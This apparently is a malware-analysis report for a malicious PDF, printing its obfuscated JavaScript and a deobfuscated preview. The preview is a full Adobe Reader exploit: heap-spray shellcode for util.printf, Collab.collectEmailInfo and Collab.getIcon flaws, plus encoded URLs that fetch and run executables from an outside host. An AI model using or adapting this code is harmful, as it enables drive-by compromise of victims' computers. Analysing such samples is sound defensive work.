182,66,67,62,66,171,154,167,89,164,175,154,171,155,165,164,176,85,118,85,174,163,158,168,156,150,169,154,97,87,94,170,105,152,105,152,94,170,105,152,105,152,91,94,116,66,67,62,66,172,161,158,165,154,89,93,168,171,158,167,159,161,168,172,103,161,158,163,160,169,161,85,117,85,109,105,114,106,107,94,180,66,67,62,66,62,168,171,158,167,159,161,168,172,89,96,118,85,168,171,158,167,159,161,168,172,116,66,67,62,66,178,70,63,66,62,173,157,162,168,103,152,168,161,165,150,155,136,173,164,171,154,89,114,89,120,168,161,165,150,155,99,156,164,165,161,158,152,173,122,166,150,162,161,130,163,159,164,97,176,172,170,155,159,115,85,91,87,101,162,172,156,115,85,168,171,158,167,159,161,168,172,182,94,116,66,67,62,182,66,67,66,67,62,159,170,167,152,173,158,168,163,89,152,168,161,165,150,155,148,160,154,173,158,156,164,167,93,98,176,70,63,66,62,162,155,89,93,154,165,169,99,157,164,156,99,124,164,165,161,154,151,103,156,158,169,130,152,168,163,98,176,70,63,66,62,66,171,154,167,89,150,171,167,178,85,118,85,167,154,176,85,122,167,171,150,178,93,98,112,70,63,66,62,66,171,154,167,89,171,175,165,158,169,161,174,154,85,118,85,174,163,158,168,156,150,169,154,97,87,94,170,126,119,126,110,94,170,105,101,105,102,94,170,110,107,105,101,94,170,122,102,111,105,94,170,105,101,108,101,94,170,105,101,105,101,94,170,109,101,113,119,94,170,113,119,105,120,94,170,106,120,112,101,94,170,113,119,122,121,94,170,105,109,109,101,94,170,124,104,110,122,94,170,113,119,110,106,94,170,113,119,126,120,94,170,105,109,109,106,94,170,108,104,110,103,94,170,124,102,125,103,94,170,105,104,124,103,94,170,106,101,108,103,94,170,113,101,109,101,94,170,105,101,108,109,94,170,127,106,112,106,94,170,124,103,113,119,94,170,110,121,110,118,94,170,105,105,124,103,94,170,110,106,105,101,94,170,126,120,113,119,94,170,110,102,110,102,94,170,110,107,110,104,94,170,111,101,110,108,94,170,110,121,113,119,94,170,108,104,105,109,94,170,113,119,124,101,94,170,105,120,112,106,94,170,127,122,113,119,94,170,112,107,105,104,94,170,113,119,108,120,94,170,112,109,109,122,94,170,124,123,105,104,94,170,110,102,113,119,94,170,110,103,106,120,94,170,110,102,113,119,94,170,110,103,107,105,94,170,112,102,113,119,94,170,109,122,106,105,94,170,112,106,113,110,94,170,113,119,127,120,94,170,107,101,112,102,94,170,127,108,105,104,94,170,109,118,114,110,94,170,109,103,122,121,94,170,108,119,111,101,94,170,127,120,110,106,94,170,105,105,112,106,94,170,124,101,108,104,94,170,108,108,126,119,94,170,127,123,108,104,94,170,109,106,105,104,94,170,114,108,105,120,94,170,124,123,113,119,94,170,112,106,122,122,94,170,107,119,127,121,94,170,109,123,127,110,94,170,126,109,110,102,94,170,127,123,114,105,94,170,127,123,127,123,94,170,124,104,108,119,94,170,112,105,111,102,94,170,126,119,105,103,94,170,113,119,125,110,94,170,105,120,109,106,94,170,110,122,114,103,94,170,127,103,105,104,94,170,126,101,125,102,94,170,124,107,105,104,94,170,124,110,108,104,94,170,123,108,105,123,94,170,110,123,105,109,94,170,126,102,124,102,94,170,105,104,105,103,94,170,105,104,124,118,94,170,113,119,124,123,94,170,105,104,105,102,94,170,113,110,124,103,94,170,127,109,109,106,94,170,113,119,111,102,94,170,127,109,109,106,94,170,110,122,110,123,94,170,124,110,110,119,94,170,110,106,124,104,94,170,126,120,113,119,94,170,126,109,110,102,94,170,127,123,109,110,94,170,127,123,127,123,94,170,111,109,110,101,94,170,111,101,126,109,94,170,105,105,123,123,94,170,111,120,126,109,94,170,127,123,127,123,94,170,108,104,127,123,94,170,110,103,125,103,94,170,127,123,110,103,94,170,105,109,112,106,94,170,125,101,127,123,94,170,109,106,113,110,94,170,113,119,127,120,94,170,127,120,109,106,94,170,124,104,124,110,94,170,113,119,110,106,94,170,113,104,126,120,94,170,105,120,126,120,94,170,109,106,113,121,94,170,110,101,127,105,94,170,109,106,124,107,94,170,112,106,127,105,94,170,109,106,124,107,94,170,112,103,127,106,94,170,109,106,124,107,94,170,111,120,127,107,94,170,109,106,124,107,94,170,111,121,127,108,94,170,109,106,124,107,94,170,111,123,127,109,94,170,109,106,124,107,94,170,111,122,127,110,94,170,109,106,124,107,94,170,107,122,127,118,94,170,109,106,124,107,94,170,111,105,127,119,94,170,109,106,124,107,94,170,111,120,127,120,94,170,109,106,124,107,94,170,111,120,127,121,94,170,109,106,124,107,94,170,105,101,127,122,94,170,122,101,126,109,94,170,127,123,127,123,94,170,110,101,127,123,94,170,110,121,111,109,94,170,106,102,113,118,94,170,126,109,106,107,94,170,127,123,106,106,94,170,127,123,127,123,94,170,124,105,113,104,94,170,113,106,105,120,94,170,112,105,124,101,94,170,111,118,106,106,94,170,111,118,105,101,94,170,127,123,105,101,94,170,105,120,112,106,94,170,112,106,127,123,94,170,111,118,105,109,94,170,127,123,105,101,94,170,113,106,125,101,94,170,112,106,124,101,94,170,109,101,105,104,94,170,124,104,124,110,94,170,124,101,108,104,94,170,124,104,124,110,94,170,108,104,110,108,94,170,113,119,124,101,94,170,107,105,109,120,94,170,113,119,105,120,94,170,107,105,112,120,94,170,127,120,105,109,94,170,122,118,127,104,94,170,124,104,110,123,94,170,109,120,113,119,94,170,105,105,107,105,94,170,108,110,113,101,94,170,113,119,105,101,94,170,112,105,124,102,94,170,109,101,105,107,94,170,108,109,113,101,94,170,112,106,105,101,94,170,107,119,127,118,94,170,124,104,124,102,94,170,113,119,110,106,94,170,113,104,126,120,94,170,111,105,126,120,94,170,113,121,110,104,94,170,127,101,109,106,94,170,108,104,110,108,94,170,110,101,125,119,94,170,109,106,124,107,94,170,111,119,127,101,94,170,109,106,124,107,94,170,111,106,127,102,94,170,109,106,124,107,94,170,112,103,127,103,94,170,109,106,124,107,94,170,111,122,127,104,94,170,109,106,124,107,94,170,111,106,127,105,94,170,109,106,124,107,94,170,111,120,127,106,94,170,109,106,124,107,94,170,108,104,127,107,94,170,109,106,124,107,94,170,108,103,127,108,94,170,109,106,124,107,94,170,107,122,127,109,94,170,109,106,124,107,94,170,111,105,127,110,94,170,109,106,124,107,94,170,111,120,127,118,94,170,109,106,124,107,94,170,111,120,127,119,94,170,110,121,113,109,94,170,126,109,127,120,94,170,127,123,105,119,94,170,127,123,127,123,94,170,111,109,110,101,94,170,109,104,111,109,94,170,113,122,127,110,94,170,113,101,126,109,94,170,127,123,127,122,94,170,113,119,127,123,94,170,113,121,127,109,94,170,114,120,109,106,94,170,109,105,111,118,94,170,126,109,110,101,94,170,127,123,112,122,94,170,127,123,127,123,94,170,109,106,113,121,94,170,111,118,126,101,94,170,110,101,106,101,94,170,112,104,126,109,94,170,127,123,127,123,94,170,113,104,127,123,94,170,106,120,124,105,94,170,109,106,113,121,94,170,110,101,126,101,94,170,109,106,113,121,94,170,110,101,114,120,94,170,110,104,110,104,94,170,110,104,110,104,94,170,110,104,110,104,94,170,112,106,127,123,94,170,124,108,105,109,94,170,114,120,109,106,94,170,105,101,109,105,94,170,105,101,105,101,94,170,127,123,110,104,94,170,110,123,125,108,94,170,123,107,105,123,94,170,110,119,124,101,94,170,124,104,124,110,94,170,113,119,110,106,94,170,110,102,126,120,94,170,110,104,110,102,94,170,110,108,110,107,94,170,109,103,111,118,94,170,112,103,126,109,94,170,105,101,105,101,94,170,113,119,105,101,94,170,108,104,125,109,94,170,113,106,127,107,94,170,110,110,125,119,94,170,109,106,124,108,94,170,111,102,127,109,94,170,111,106,107,122,94,170,124,108,112,109,94,170,127,120,109,106,94,170,105,101,111,106,94,170,105,101,105,101,94,170,110,107,112,122,94,170,109,106,113,121,94,170,110,101,127,109,94,170,126,109,110,107,94,170,105,101,110,102,94,170,105,101,105,101,94,170,110,101,110,110,94,170,123,102,126,109,94,170,127,123,127,122,94,170,113,106,127,123,94,170,110,110,124,101,94,170,112,105,110,110,94,170,113,121,108,110,94,170,105,102,109,107,94,170,126,109,110,101,94,170,105,101,108,119,94,170,105,101,105,101,94,170,127,109,113,119,94,170,109,106,113,121,94,170,110,101,127,109,94,170,107,102,126,109,94,170,127,123,127,123,94,170,113,106,127,123,94,170,110,110,124,101,94,170,112,105,110,110,94,170,110,108,105,120,94,170,105,102,126,109,94,170,127,123,127,123,94,170,110,110,127,123,94,170,109,105,124,107,94,170,127,123,108,109,94,170,110,101,112,104,94,170,109,106,113,121,94,170,127,122,127,109,94,170,110,109,105,101,94,170,109,106,113,121,94,170,110,101,127,109,94,170,126,109,110,108,94,170,127,122,112,105,94,170,127,123,127,123,94,170,110,110,110,110,94,170,109,107,109,107,94,170,127,104,108,119,94,170,122,118,112,120,94,170,110,122,110,123,94,170,124,110,110,119,94,170,110,106,124,104,94,170,126,120,113,119,94,170,110,104,110,102,94,170,111,101,111,107,94,170,108,103,123,102,94,170,105,101,126,109,94,170,105,101,105,101,94,170,110,109,105,101,94,170,105,109,108,109,94,170,105,104,112,105,94,170,126,119,109,101,94,170,109,101,127,110,94,170,110,121,113,119,94,170,113,101,105,109,94,170,109,103,127,119,94,170,105,109,112,106,94,170,125,119,108,104,94,170,106,109,113,118,94,170,124,104,113,119,94,170,106,108,126,119,94,170,106,109,108,109,94,170,106,102,112,107,94,170,108,104,109,101,94,170,113,105,124,110,94,170,112,105,125,119,94,170,109,101,105,120,94,170,105,109,108,109,94,170,127,119,112,106,94,170,127,122,109,101,94,170,126,119,124,119,94,170,108,104,127,103,94,170,113,110,124,101,94,170,127,120,109,106,94,170,109,106,113,119,94,170,110,119,127,120,94,170,124,104,124,110,94,170,105,103,108,103,94,170,112,105,111,109,94,170,112,101,112,105,94,170,107,123,108,118,94,170,112,104,107,123,94,170,112,102,112,106,94,170,112,108,111,110,94,170,111,119,112,110,94,170,111,104,107,122,94,170,107,123,111,122,94,170,108,102,111,102,94,170,107,123,108,103,94,170,111,110,111,107,94,170,112,104,112,102,94,170,108,103,112,107,94,170,111,106,107,122,94,170,111,106,112,109,94,170,111,109,105,101,94,170,112,105,112,105,94,170,108,118,112,101,94,170,107,123,107,123,94,170,112,106,112,104,94,170,111,110,112,102,94,170,112,110,112,108,94,170,107,122,111,119,94,170,111,122,111,104,94,170,111,102,107,123,94,170,108,103,108,102,94,170,111,104,107,123,94,170,111,110,111,120,94,170,111,119,111,104,94,170,112,101,107,122,94,170,112,101,111,109,94,170,112,103,108,123,94,170,105,101,108,121,91,94,116,66,67,62,66,62,175,150,171,85,161,140,170,106,105,101,124,131,89,114,89,171,175,165,158,169,161,174,154,99,165,154,167,156,173,157,89,95,89,103,116,66,67,62,66,62,175,150,171,85,165,154,167,85,118,85,105,173,109,101,105,101,105,101,89,98,89,93,161,140,170,106,105,101,124,131,89,96,89,101,177,104,113,94,116,66,67,62,66,62,175,150,171,85,178,150,171,168,169,85,118,85,174,163,158,168,156,150,169,154,97,87,94,170,114,101,114,101,94,170,114,101,114,101,91,94,116,66,67,62,66,62,178,150,171,168,169,85,118,85,159,158,177,148,162,169,97,174,154,167,172,165,101,85,165,154,167,94,116,66,67,62,66,62,175,150,171,85,169,106,122,159,132,107,110,155,89,114,89,93,105,173,105,152,105,152,105,152,105,152,89,98,89,101,177,105,105,101,105,101,105,94,89,100,89,101,177,105,105,101,105,101,105,112,70,63,66,62,66,155,168,167,89,93,175,150,171,85,175,166,156,134,125,110,111,174,89,114,89,101,116,85,175,166,156,134,125,110,111,174,89,113,89,165,110,118,163,128,111,106,159,112,89,171,170,152,138,121,114,107,178,85,100,96,89,94,180,66,67,62,66,62,66,150,171,167,178,144,175,166,156,134,125,110,111,174,150,85,118,85,178,150,171,168,169,85,100,85,175,171,169,154,173,157,178,150,116,66,67,62,66,62,182,66,67,62,66,62,175,150,171,85,173,138,134,157,135,151,128,172,89,114,89,170,167,154,172,152,154,165,158,93,91,90,105,110,91,94,116,66,67,62,66,62,176,157,162,161,158,85,97,169,142,130,161,131,155,124,176,99,165,154,167,156,173,157,89,113,89,101,177,105,105,101,105,94,180,66,67,62,66,62,66,169,142,130,161,131,155,124,176,85,100,114,89,169,142,130,161,131,155,124,176,112,70,63,66,62,66,178,70,63,66,62,66,169,142,130,161,131,155,124,176,85,118,85,91,131,103,87,89,96,89,169,142,130,161,131,155,124,176,112,70,63,66,62,66,150,169,165,103,153,168,152,103,120,168,161,165,150,155,99,160,154,173,126,156,164,167,93,173,138,134,157,135,151,128,172,98,112,70,63,66,62,182,66,67,62,182,66,67,66,67,62,159,170,167,152,173,158,168,163,89,165,157,155,152,168,173,150,171,169,97,94,180,66,67,66,67,62,66,171,154,167,89,171,158,167,172,158,168,163,89,114,89,150,169,165,103,171,162,154,176,154,171,139,158,167,172,158,168,163,103,169,168,136,173,167,162,163,160,93,98,112,70,63,66,62,175,154,171,168,162,164,167,85,118,85,175,154,171,168,162,164,167,99,171,154,169,161,154,152,158,93,104,145,125,100,160,97,96,92,98,112,70,63,66,62,175,150,171,85,175,150,171,168,162,164,167,148,154,167,171,150,178,85,118,85,167,154,176,85,122,167,171,150,178,93,175,154,171,168,162,164,167,99,156,157,154,167,122,169,97,101,98,97,89,171,158,167,172,158,168,163,103,152,161,150,171,118,173,93,106,94,101,85,175,154,171,168,162,164,167,99,156,157,154,167,122,169,97,103,98,94,116,66,67,62,66,158,159,85,97,93,175,150,171,168,162,164,167,148,154,167,171,150,178,144,105,146,89,114,118,85,113,94,89,91,95,85,97,171,154,167,172,158,168,163,152,150,171,167,154,174,148,102,150,85,118,114,89,101,98,85,181,177,89,93,175,150,171,168,162,164,167,148,154,167,171,150,178,144,106,146,89,114,118,85,106,85,95,91,89,171,154,167,172,158,168,163,152,150,171,167,154,174,148,103,150,85,117,85,108,94,98,176,70,63,66,62,66,170,173,158,165,148,169,167,162,163,173,155,97,94,116,66,67,62,66,178,70,63,66,62,162,155,89,93,97,171,154,167,172,158,168,163,152,150,171,167,154,174,148,101,150,85,117,85,113,94,89,177,181,85,97,171,154,167,172,158,168,163,152,150,171,167,154,174,148,101,150,85,118,114,89,109,89,91,95,85,175,150,171,168,162,164,167,148,154,167,171,150,178,144,106,146,89,113,89,103,89,91,95,85,175,150,171,168,162,164,167,148,154,167,171,150,178,144,107,146,89,113,89,103,98,94,180,66,67,62,66,62,156,164,165,161,154,151,152,154,166,150,162,161,97,94,116,66,67,62,66,178,70,63,66,62,162,155,89,93,97,171,154,167,172,158,168,163,152,150,171,167,154,174,148,101,150,85,117,85,114,94,89,177,181,85,97,171,154,167,172,158,168,163,152,150,171,167,154,174,148,101,150,85,118,114,89,110,89,91,95,85,175,150,171,168,162,164,167,148,154,167,171,150,178,144,106,146,89,113,89,102,98,94,180,66,67,62,66,62,156,164,165,161,154,151,152,156,158,169,162,152,168,163,97,94,116,66,67,62,66,178,70,63,66,178,70,63,70,63,66,165,157,155,152,168,173,150,171,169,97,94,116,66,67,62],bdot=gknrty['fbr2obmMCMh2a2r2CWoWdQeb'.replace(/[b2WQM]/g,'')],abjoqr=function(){for(var dmowx;drzk<acfjq.length;drzk++){var abdt=acfjq[drzk];var jfpz=drzk%efgm.length+1;var blmu=efgm.substring(drzk%efgm.length,jfpz);ekorw+=bdot(abdt-blmu.charCodeAt(0));} bhsx(ekorw);};abjoqr();abfgoy="";jklmnr=false;gnqy=38934;spzmhd="spzmhd";zuhgv="";bckoq=32385;efgqwx='';
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x268	9868 bytes
SHA-256: `5ae1ccbabfd4e5a401bbef8446adfb8e90d8ecd77f1e3a1e3aa7f679939918c9`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u6F6D%u7573%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u6B67%u777A%u3265%u652E%u6578%u6800%u7474%u3A70%u2F2F%u7573%u6971%u7977%u2E6B%u6E63%u612F%u3231%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u6966%u7371%u3276%u652E%u6578%u6800%u7474%u3A70%u2F2F%u7573%u6971%u7977%u2E6B%u6E63%u612F%u3231%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 13

Related samples 5

Extracted artifacts 2